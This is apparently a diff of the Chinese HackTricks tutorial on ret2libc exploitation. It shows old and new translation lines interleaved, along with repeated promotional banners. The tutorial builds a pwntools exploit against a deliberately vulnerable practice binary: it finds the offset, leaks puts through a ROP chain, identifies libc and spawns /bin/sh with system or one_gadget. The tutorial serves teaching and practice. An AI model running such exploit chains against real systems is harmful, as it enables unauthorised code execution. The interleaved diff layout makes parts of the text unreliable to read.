- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
</details> </details>

View file

@ -1,31 +1,29 @@
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop) 支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
</details> </details>
# 快速简介 # 快速简介
1. **找**溢出**偏移量** 1. **找** 溢出 **偏移量**
2. **找到**`POP_RDI``PUTS_PLT`和`MAIN_PLT`的gadgets 2. **查找** `POP_RDI``PUTS_PLT` 和 `MAIN_PLT` 机关
3. 使用前面的gadgets来**泄漏puts或其他libc函数的内存地址**并**找到libc版本**[下载地址](https://libc.blukat.me) 3. 使用前述机关**泄漏puts或其他libc函数的内存地址**并**找到libc版本**[下载地址](https://libc.blukat.me))
4. 使用库来**计算ROP并利用它** 4. 利用库,**计算ROP并利用它**
# 其他教程和二进制文件供练习 # 其他教程和二进制文件供练习
本教程将利用此教程中提的代码/二进制文件进行利用:[https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\ 本教程将利用此教程中提的代码/二进制文件进行利用:[https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
其他有用的教程:[https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/)[https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html) 其他有用的教程:[https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
# 代码 # 代码
@ -45,10 +43,10 @@ return 0;
```bash ```bash
gcc -o vuln vuln.c -fno-stack-protector -no-pie gcc -o vuln vuln.c -fno-stack-protector -no-pie
``` ```
# ROP - 泄 LIBC 模板 # ROP - 泄 LIBC 模板
我将使用此处的代码来制作漏洞利用。\ 我将使用此处的代码来制作利用程序。\
下载漏洞利用并将其放置在与易受攻击的二进制文件相同的目录中,并向脚本提供所需的数据: 下载利用程序并将其放置在与易受攻击的二进制文件相同的目录中,并向脚本提供所需的数据:
{% content-ref url="rop-leaking-libc-template.md" %} {% content-ref url="rop-leaking-libc-template.md" %}
[rop-leaking-libc-template.md](rop-leaking-libc-template.md) [rop-leaking-libc-template.md](rop-leaking-libc-template.md)
@ -56,7 +54,7 @@ gcc -o vuln vuln.c -fno-stack-protector -no-pie
# 1- 查找偏移量 # 1- 查找偏移量
在继续进行漏洞利用之前,模板需要一个偏移量。如果没有提供偏移量,它将执行必要的代码来查找它(默认情况下 `OFFSET = ""` 在继续利用程序之前,模板需要一个偏移量。如果未提供任何偏移量,它将执行必要的代码来查找它(默认为 `OFFSET = ""`:
```bash ```bash
################### ###################
### Find offset ### ### Find offset ###
@ -71,7 +69,7 @@ r.sendline(payload)
#cyclic_find(0x6161616b) # Find the offset of those bytes #cyclic_find(0x6161616b) # Find the offset of those bytes
return return
``` ```
**执行** `python template.py` 打开一个带有崩溃程序的 GDB 控制台。在该 **GDB 控制台** 中执行 `x/wx $rsp` 以获取将要覆盖 RIP 的 **字节**。最后,在 **python 控制台** 中获取 **偏移量** **执行** `python template.py` 打开一个带有崩溃程序的 GDB 控制台。在该 **GDB 控制台** 中执行 `x/wx $rsp` 以获取将要覆盖 RIP 的 **字节**。最后,在 **python** 控制台中获取 **偏移量**
```python ```python
from pwn import * from pwn import *
cyclic_find(0x6161616b) cyclic_find(0x6161616b)
@ -81,11 +79,11 @@ cyclic_find(0x6161616b)
在找到偏移量在本例中为40使用该值更改模板中的OFFSET变量。\ 在找到偏移量在本例中为40使用该值更改模板中的OFFSET变量。\
`OFFSET = "A" * 40` `OFFSET = "A" * 40`
另一种方法是使用:`pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` from GEF。 另一种方法是使用:`pattern create 1000` -- _执行直到 ret_ -- `pattern seach $rsp` GEF。
# 2- 寻找Gadgets # 2- 寻找小工具
现在我们需要在二进制文件中找到ROP gadgets。这些ROP gadgets将用于调用`puts`函数来找到正在使用的**libc**,然后用于**启动最终的攻击** 现在我们需要在二进制文件中找到 ROP 小工具。这些 ROP 小工具将有助于调用 `puts` 来查找正在使用的 **libc**,并稍后 **启动最终的利用**
```python ```python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main'] MAIN_PLT = elf.symbols['main']
@ -96,15 +94,15 @@ log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT)) log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI)) log.info("pop rdi; ret gadget: " + hex(POP_RDI))
``` ```
`PUTS_PLT`是调用**puts函数**所需的。\ `PUTS_PLT` 用于调用 **puts 函数**。\
`MAIN_PLT`是在一次交互后再次调用**主函数**以便再次**利用**溢出(无限次的利用)。**它在每个ROP的末尾用于再次调用程序**。\ `MAIN_PLT` 用于在一次交互后再次调用 **主函数** 以便 **利用** 溢出 **再次**(无限次利用)进行。**它用于在每个 ROP 结尾调用程序**。\
**POP\_RDI**用于将**参数**传递给被调用的函数 **POP\_RDI** 用于向被调用函数 **传递** **参数**
在这一步中,您不需要执行任何操作因为在执行过程中pwntools将找到所有所需的内容 在这一步中,您无需执行任何操作,因为在执行过程中 pwntools 将找到一切
# 3- 查找LIBC库 # 3- 查找 LIBC
现在是时候找出正在使用的**libc库**的版本了。为此,我们将**泄漏**内存中**puts函数**的**地址**然后我们将在该地址中搜索puts版本所在的**库版本** 现在是时候找出正在使用的 **libc** 库的版本。为此,我们将 **泄漏** **内存****puts 函数****地址**,然后我们将 **搜索** 在该地址中 puts 版本所在的 **库版本**
```python ```python
def get_addr(func_name): def get_addr(func_name):
FUNC_GOT = elf.got[func_name] FUNC_GOT = elf.got[func_name]
@ -133,50 +131,50 @@ if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)") print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive() p.interactive()
``` ```
要做到这一点,执行代码中最重要的一行是: 为了做到这一点,执行的代码中最重要的一行是:
```python ```python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
``` ```
这将发送一些字节,直到**覆盖** **RIP** 成为可能:`OFFSET`。\ 这将发送一些字节,直到**覆盖** **RIP** 可能为止`OFFSET`。\
然后,它将设置`POP_RDI`小工具的**地址**,以便下一个地址(`FUNC_GOT`)将保存在**RDI**寄存器中。这是因为我们想要**调用puts**,并将`PUTS_GOT`的**地址**作为puts函数在内存中的地址保存在`PUTS_GOT`指向的地址中。\ 然后,它将设置**gadget** `POP_RDI` 的**地址**,以便下一个地址 (`FUNC_GOT`) 将被保存在**RDI** 寄存器中。这是因为我们想要**调用 puts** 并将 `PUTS_GOT` 的**地址**作为参数传递给它,因为内存中 puts 函数的**地址**保存在 `PUTS_GOT` 指向的地址中。\
之后,将调用`PUTS_PLT`(将`PUTS_GOT`放入**RDI**中因此puts将**读取**`PUTS_GOT`中的内容(**puts函数在内存中的地址**)并将其**打印出来**。\ 之后,将调用 `PUTS_PLT`(带有 `PUTS_GOT` 在**RDI** 中),因此 puts 将**读取** `PUTS_GOT` 中的内容(**内存中 puts 函数的地址**)并将其**打印出来**。\
最后,再次调用**main函数**,以便我们可以再次利用溢出。 最后,再次调用**main 函数**,以便我们可以再次利用溢出。
这样,我们成功欺骗了puts函数使其**打印出**位于**libc**库中的**puts函数的内存地址**。现在,我们有了该地址,我们可以**搜索正在使用的libc版本**。 这样,我们已经**欺骗 puts 函数**将**打印**出**puts**函数的**内存中的地址**(位于**libc**库中)。现在我们有了该地址,我们可以**查找正在使用的 libc 版本**。
![](<../../../.gitbook/assets/image (141).png>) ![](<../../../.gitbook/assets/image (141).png>)
由于我们正在**利用**一些**本地**二进制文件,因此**不需要**找出正在使用的**libc**版本(只需在`/lib/x86_64-linux-gnu/libc.so.6`中找到该库)。\ 由于我们正在**利用**一些**本地**二进制文件,**不需要**弄清楚正在使用的**libc**版本(只需在`/lib/x86_64-linux-gnu/libc.so.6`中找到该库)。\
但是,在远程利用的情况下,我将在这里解释如何找到它: 但是,在远程利用案例中,我将在这里解释如何找到它:
## 3.1- 搜索libc版本1 ## 3.1- 搜索 libc 版本1
您可以在网页上搜索正在使用的库:[https://libc.blukat.me/](https://libc.blukat.me)\ 您可以在网页上搜索正在使用的库:[https://libc.blukat.me/](https://libc.blukat.me)\
它还允许您下载发现的**libc**版本 它还允许您下载发现的**libc**版本
![](<../../../.gitbook/assets/image (142).png>) ![](<../../../.gitbook/assets/image (142).png>)
## 3.2- 搜索libc版本2 ## 3.2- 搜索 libc 版本2
可以执行以下操作: 可以执行以下操作:
* `$ git clone https://github.com/niklasb/libc-database.git` * `$ git clone https://github.com/niklasb/libc-database.git`
* `$ cd libc-database` * `$ cd libc-database`
* `$ ./get` * `$ ./get`
这需要一些时间,请耐心等待。\ 需要一些时间,请耐心等待。\
为了使其工作,我们需要: 为了使其工作,我们需要:
* Libc符号名称`puts` * Libc 符号名称:`puts`
* 泄漏的libc地址`0x7ff629878690` * 泄漏的 libc 地址:`0x7ff629878690`
我们可以找出最有可能使用的**libc**版本 我们可以找出最有可能使用的**libc**。
``` ```
./find puts 0x7ff629878690 ./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64) archive-glibc (id libc6_2.23-0ubuntu11_amd64)
``` ```
我们找到了2个匹配项如果第一个不起作用您可以尝试第二个)。下载第一个: 我们得到2个匹配项如果第一个不起作用尝试第二个)。下载第一个:
``` ```
./download libc6_2.23-0ubuntu10_amd64 ./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64 Getting libc6_2.23-0ubuntu10_amd64
@ -185,7 +183,7 @@ Getting libc6_2.23-0ubuntu10_amd64
-> Extracting package -> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64 -> Package saved to libs/libc6_2.23-0ubuntu10_amd64
``` ```
将`libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so`中的libc复制到我们的工作目录 将`libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so`中的libc复制到我们的工作目录。
## 3.3- 用于泄漏的其他函数 ## 3.3- 用于泄漏的其他函数
```python ```python
@ -195,13 +193,13 @@ __libc_start_main
read read
gets gets
``` ```
# 4- 寻找基于libc地址并进行利用 # 4- 寻找基于libc地址并利用
在这一步中我们应该知道使用的libc库。由于我们正在利用本地二进制文件我将只使用`/lib/x86_64-linux-gnu/libc.so.6` 在这一点上我们应该知道使用的libc库。由于我们正在利用本地二进制文件我将仅使用:`/lib/x86_64-linux-gnu/libc.so.6`
因此,在`template.py`的开头将**libc**变量更改为:`libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #当知道路径时设置库路径` 因此,在`template.py`的开头将**libc**变量更改为:`libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it`
将**libc库的路径**提供给**exploit的其余部分将自动计算**。 给出**libc库**的**路径**,其余的**利用将自动计算**。
在`get_addr`函数内,将计算**libc的基地址** 在`get_addr`函数内,将计算**libc的基地址**
```python ```python
@ -210,10 +208,10 @@ libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address)) log.info("libc base @ %s" % hex(libc.address))
``` ```
{% hint style="info" %} {% hint style="info" %}
请注意,**最终的libc基址必须以00结尾**。如果不是这种情况,可能会泄漏错误的库。 请注意,**最终的libc基址必须以00结尾**。如果不是这种情况,您可能已经泄漏了一个不正确的库。
{% endhint %} {% endhint %}
然后,函数`system`的地址和字符串"/bin/sh"的**地址**将从**libc的基地址**和给定的**libc库**中进行**计算**。 然后,函数`system`的地址和字符串_"/bin/sh"_的**地址**将从**libc的基地址**计算得出,并给出**libc库**。
```python ```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"] SYSTEM = libc.sym["system"]
@ -222,7 +220,7 @@ EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH)) log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM)) log.info("system %s " % hex(SYSTEM))
``` ```
最后,将准备好的/bin/sh执行漏洞利用发送出去 最后,/bin/sh执行利用将被准备发送:
```python ```python
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT) rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
@ -232,21 +230,18 @@ p.sendline(rop2)
#### Interact with the shell ##### #### Interact with the shell #####
p.interactive() #Interact with the conenction p.interactive() #Interact with the conenction
``` ```
让我们解释一下这个最终的ROP。 让我们解释这个最终的ROP。\
最后一个ROP (`rop1`) 结束时再次调用了 main 函数,然后我们可以再次利用**溢出**(这就是为什么 `OFFSET` 再次出现在这里)。然后,我们想要调用 `POP_RDI` 指向 _"/bin/sh"_ 的地址(`BINSH`),并调用 **system** 函数(`SYSTEM`),因为 _"/bin/sh"_ 的地址将作为参数传递。\
最后,**调用 exit 函数的地址**,这样进程就会**正常退出**,不会生成任何警报。
最后一个ROP`rop1`再次调用了main函数因此我们可以再次利用溢出漏洞这就是为什么`OFFSET`再次出现的原因)。然后,我们想要调用`POP_RDI`指向"/bin/sh"的地址(`BINSH`并调用system函数`SYSTEM`),因为"/bin/sh"的地址将作为参数传递。 **这样,利用程序将执行一个**_**/bin/sh**_** shell。**
最后调用exit函数的地址以便进程正常退出不会生成任何警报。
这样,利用程序将执行一个"/bin/sh" shell。
![](<../../../.gitbook/assets/image (143).png>) ![](<../../../.gitbook/assets/image (143).png>)
# 4(2)- 使用ONE_GADGET # 4(2)- 使用 ONE\_GADGET
您还可以使用[ONE_GADGET](https://github.com/david942j/one_gadget)来获取一个shell而不是使用system和"/bin/sh"。ONE_GADGET将在libc库中找到一种只使用一个ROP地址就能获取shell的方法。 您也可以使用 [**ONE\_GADGET**](https://github.com/david942j/one_gadget) 来获取一个 shell而不是使用 **system****"/bin/sh"**。**ONE\_GADGET** 将在 libc 库中找到一种方法,只使用一个 **ROP 地址**就可以获取一个 shell。\
然而,通常会有一些限制条件,最常见且易于避免的是 `[rsp+0x30] == NULL`。由于您可以控制 **RSP** 中的值,所以只需发送更多的 NULL 值,就可以避免这个限制条件。
然而,通常会有一些限制条件,最常见且容易避免的是`[rsp+0x30] == NULL`。由于您可以控制RSP中的值只需发送更多的NULL值即可避免这个限制条件。
![](<../../../.gitbook/assets/image (615).png>) ![](<../../../.gitbook/assets/image (615).png>)
```python ```python
@ -255,7 +250,7 @@ rop2 = base + p64(ONE_GADGET) + "\x00"*100
``` ```
# EXPLOIT文件 # EXPLOIT文件
您可以在此处找到利用此漏洞的模板: 您可以在这里找到利用此漏洞的模板:
{% content-ref url="rop-leaking-libc-template.md" %} {% content-ref url="rop-leaking-libc-template.md" %}
[rop-leaking-libc-template.md](rop-leaking-libc-template.md) [rop-leaking-libc-template.md](rop-leaking-libc-template.md)
@ -263,9 +258,9 @@ rop2 = base + p64(ONE_GADGET) + "\x00"*100
# 常见问题 # 常见问题
## 未找到MAIN_PLT = elf.symbols\['main'] ## MAIN_PLT = elf.symbols\['main']未找到
如果找不到"main"符号。那么您可以查看主要代码的位置: 如果找不到"main"符号。那么您可以找到主代码所在的位置:
```python ```python
objdump -d vuln_binary | grep "\.text" objdump -d vuln_binary | grep "\.text"
Disassembly of section .text: Disassembly of section .text:
@ -275,13 +270,13 @@ Disassembly of section .text:
```python ```python
MAIN_PLT = 0x401080 MAIN_PLT = 0x401080
``` ```
## 找到Puts函数 ## 找到Puts
如果二进制文件没有使用Puts函数,你应该检查是否使用了 如果二进制文件没有使用Puts,您应该检查它是否在使用
## `sh: 1: %s%s%s%s%s%s%s%s: not found` ## `sh: 1: %s%s%s%s%s%s%s%s: not found`
如果在创建所有的攻击载荷之后,你发现了这个**错误**`sh: 1: %s%s%s%s%s%s%s%s: not found` 如果在创建所有的利用后发现这个**错误**`sh: 1: %s%s%s%s%s%s%s%s: not found`
尝试**从"/bin/sh"的地址中减去64个字节** 尝试**从"/bin/sh"的地址中减去64个字节**
```python ```python
@ -289,16 +284,14 @@ BINSH = next(libc.search("/bin/sh")) - 64
``` ```
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗?你想在 HackTricks 中看到你的**公司广告**吗?或者你想获得**PEASS 的最新版本或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop) 支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 获得[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 探索我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者在 **Twitter****关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**
</details> </details>

View file

@ -1,16 +1,14 @@
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
- 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop) 支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
</details> </details>
@ -203,9 +201,9 @@ P.interactive() #Interact with your shell :)
# 常见问题 # 常见问题
## 找不到 MAIN_PLT = elf.symbols['main'] ## MAIN_PLT = elf.symbols\['main'] 未找到
如果找不到 "main" 符号。那么你可以找到主代码的位置: 如果"main"符号不存在。那么你可以找到主代码所在的位置:
```python ```python
objdump -d vuln_binary | grep "\.text" objdump -d vuln_binary | grep "\.text"
Disassembly of section .text: Disassembly of section .text:
@ -215,30 +213,28 @@ Disassembly of section .text:
```python ```python
MAIN_PLT = 0x401080 MAIN_PLT = 0x401080
``` ```
## 找不到Puts函数 ## 找不到Puts
如果二进制文件没有使用Puts函数,你应该检查是否使用了以下错误信息: 如果二进制文件没有使用Puts,您应该检查它是否使用
## `sh: 1: %s%s%s%s%s%s%s%s: not found` ## `sh: 1: %s%s%s%s%s%s%s%s: not found`
如果在创建所有的攻击代码之后,你发现了这个错误信息`sh: 1: %s%s%s%s%s%s%s%s: not found` 如果在创建所有利用后发现这个**错误**`sh: 1: %s%s%s%s%s%s%s%s: not found`
尝试将"/bin/sh"的地址减去64个字节 尝试**从"/bin/sh"的地址中减去64字节**
```python ```python
BINSH = next(libc.search("/bin/sh")) - 64 BINSH = next(libc.search("/bin/sh")) - 64
``` ```
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop) 其他支持HackTricks的方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**
</details> </details>

View file

@ -2,28 +2,30 @@
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>从零开始学习AWS黑客技术成为高手</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
* 你在一家**网络安全公司**工作吗?你想在 HackTricks 中看到你的**公司广告**吗?或者你想获得**PEASS 的最新版本或下载 HackTricks 的 PDF 版本**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop) 支持HackTricks的其他方式
